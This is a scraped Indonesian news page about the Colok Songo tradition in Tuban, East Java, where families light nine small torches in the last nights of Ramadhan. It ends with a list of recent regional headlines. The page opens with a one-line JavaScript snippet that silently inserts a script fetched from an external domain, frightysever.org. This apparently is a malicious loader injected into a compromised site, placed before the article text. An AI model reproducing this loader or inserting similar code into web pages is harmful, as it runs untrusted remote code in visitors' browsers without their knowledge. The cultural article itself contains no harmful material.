(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Jawa Timur

Tradisi Colok Songo di Bumi Wali Tuban, Doa Bertemu di Ramadhan Tahun Depan


KANALKALIMANTAN.COM – Tradisi Colok Songo di Tuban, Jawa Timur masih bertahan. Tradisi ini melambangkan doa agar warga yang menjalankan tradisi Colok Songo bisa kembali bertemu di Ramadhan tahun depan selanjutnya.

Tradisi colok songo atau nyala sembilan di lakukan di Kabupaten Tuban pada akhir bulan Ramadhan. Nuansa akan terasa berbeda bila memasuki akhir bulan puasa, di mana tradisi Colok Songo masih tetap berjalan di kalangan masyarakat, khususnya di perbatasan pedesaan wilayah Kabupaten Tuban, tepatnya di Kecamatan Bangilan, Kecamatan Singgahan.

Di banyak sudut, bahkan mulai pintu masuk, pemilik rumah menyalakan api sembilan (colok songo) diawali saat masuk petang atau tiba waktu buka puasa, dan selesai atau nyala api padam ketika masuk waktu sahur.

“Kala keluarga nyalakan ini masuk bulan puasa 28 sampai malam lebaran,” kata Arifin, salah satu warga yang menyalakan colok songo di Singgahan.

Dalam bahasa Jawa, Colok merupakan istilah untuk potongan kayu-kayu kecil. Ujung pangkal kayu dibalut kain untuk dibuat sumbu kemudian dicelupkan ke dalam minyak tanah sebagai bahan bakar menjadi api penerangan. Sedangkan, kata songo berarti sembilan.

Colok Songo dengan kata lain, adalah obor kecil tradisi leluhur yang disulut dan ditancap ke dalam tanah (bumi) dan tempat lain seperti pintu, sudut rumah, depan kamar mandi, tempat pembuangan sampah sampai di tepi jalan lingkungan, bahkan tiap jalan raya penghubung antar kecamatan.

Tradisi Colok Songo di Tuban, Jawa Timur masih bertahan. Foto: TimesIndonesia via suara.com

Tokoh masyarakat, Mbah Marno (55) menyatakan Colok Songo tidak tahu kapan pastinya dimulai. Sebab sejak kecil dirinya diajarkan eyang buyutnya untuk menyalakan api setiap sepuluh hari terakhir bulan suci Ramadhan.

“Tepatnya masuk akhir Ramadhan ganjil. Biasanya tepat malam songo likuran (29) atau jatuh sepuluh hari pamungkas akhir bulan puasa,” tuturnya.

Menurutnya, masyarakat percaya Colok Songo selain dilaksanakan di malam kemulyaan songo likuran, juga sebagai penghormatan terhadap para leluhur yang sudah tiada. Diyakini di waktu itu, secara tanpa kasat mata para ahli kubur pulang ke rumah berkunjung ke sanak saudara yang masih hidup.

“Kerabat yang sudah meninggal berharap meminta doa serta melihat kondisi keluarga sebelum Hari Raya idul Fitri,” imbuhnya.

Sedangkan untuk simbol dian penerang, nyala api Colok Songo dimaknai lambang pembakaran penebusan dosa dan kesalahan diri manusia. Juga pelita kecerahan di saat mulai datangnya malam gelap.

Selain itu, Colok Songo yang dilakukan pada malam akhir Ramadhan antara petang sampai subuh saja, nyala api yang hanya semalam dimaknai bahwa di dunia tidak ada yang kekal abadi.

“Dunia, usia, harta dan anak adalah titipan. Dinyalakan colok songo ini, akan mengingatkan setiap diri manusia untuk bermuhasabah dengan pengharapan kepada Allah SWT untuk dipertemukan kembali bulan puasa ke depannya nanti.” tutup tokoh masyarakat di Kabupaten Tuban ini. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

4 menit ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

1 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

16 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

19 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

23 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

23 jam ago

This website uses cookies.